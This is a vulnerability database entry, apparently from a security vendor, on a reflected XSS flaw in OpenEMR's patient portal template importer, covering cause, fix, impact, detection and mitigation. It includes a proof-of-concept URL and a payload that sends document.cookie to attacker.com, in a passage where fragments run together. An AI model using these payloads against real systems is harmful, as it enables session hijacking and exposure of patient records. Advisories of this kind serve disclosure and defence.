
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-40507 is a reflected cross-site scripting (XSS) vulnerability in OpenEMR's patient portal template import handler (/portal/import_template.php). The templateHtml GET parameter is reflected directly into the page response without sanitization, allowing an unauthenticated attacker to craft a malicious URL that executes arbitrary JavaScript in the browser of any authenticated user with Forms Administration permissions who visits the link. All OpenEMR versions before 8.3.0 are affected. The vulnerability was published on August 19, 2026, with a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (OpenEMR Advisory, GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a reflected XSS pattern. In vulnerable versions, when a GET request is sent to /portal/import_template.php with a non-empty templateHtml parameter, the value is passed directly to renderEditorHtml() without any HTML encoding or entity conversion: } elseif (!empty($_GET['templateHtml'] ?? null)) { renderEditorHtml($_REQUEST['docid'], $_GET['templateHtml']); }. The fix (commit ba316dd) removes this unsanitized GET branch entirely and introduces HTMLPurifier-based sanitization within renderEditorHtml() via a new DocumentTemplateService::purifyTemplateContent() method. Exploitation requires no attacker-side privileges but does require the victim to be authenticated with Forms Administration permissions and to click a crafted link (OpenEMR Advisory, Fix Commit).
Successful exploitation enables session hijacking of authenticated Forms Administration users, potentially allowing an attacker to take over privileged accounts within the OpenEMR system. Because OpenEMR handles sensitive protected health information (PHI), account takeover could expose patient records, enable unauthorized modifications to clinical forms and templates, and serve as a stepping stone for chained attacks against other vulnerabilities in the platform. The advisory notes this vulnerability is explicitly identified as a prerequisite for a chained attack described as "Vulnerability 5" in the broader disclosure (OpenEMR Advisory).
A proof-of-concept URL is publicly documented in the official security advisory, demonstrating immediate payload execution: http://<host>/portal/import_template.php?docid=999&templateHtml=%3Chtml%3E%0A%3Cimg%20src%3Dx%20onerror%3Dalert(JSON.stringify(document))%3E%0A%3C%2Fhtml%3E. There is no evidence of in-the-wild exploitation at this time, and the EPSS score is 0.0. The vulnerability is not listed in the CISA KEV catalog. No threat actor attribution has been reported (OpenEMR Advisory, GitHub Advisory).
templateHtml GET parameter, URL-encoding the payload:http://<target>/portal/import_template.php?docid=999&templateHtml=%3Chtml%3E%3Cimg%20src%3Dx%20onerror%3D"fetch('https://attacker.com/steal?c='+document.cookie)"%3E%3C%2Fhtml%3E/portal/import_template.php; unusual GET requests to /portal/import_template.php containing URL-encoded HTML or JavaScript in the templateHtml parameter (e.g., %3Cscript%3E, %3Cimg, onerror=)./portal/import_template.php with a templateHtml parameter containing encoded HTML tags or JavaScript event handlers; repeated access to this endpoint from different source IPs with similar payload patterns.Upgrade OpenEMR to version 8.3.0 or later, which removes the unsanitized templateHtml GET branch and introduces HTMLPurifier-based sanitization for all template content rendering (OpenEMR Release, Fix Commit). As interim mitigations, implement a Content Security Policy (CSP) header to restrict inline JavaScript execution, and configure a web application firewall (WAF) rule to block requests to /portal/import_template.php containing HTML tags in the templateHtml parameter. Additionally, educate users with Forms Administration permissions to avoid clicking unsolicited or unexpected links to the OpenEMR portal.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."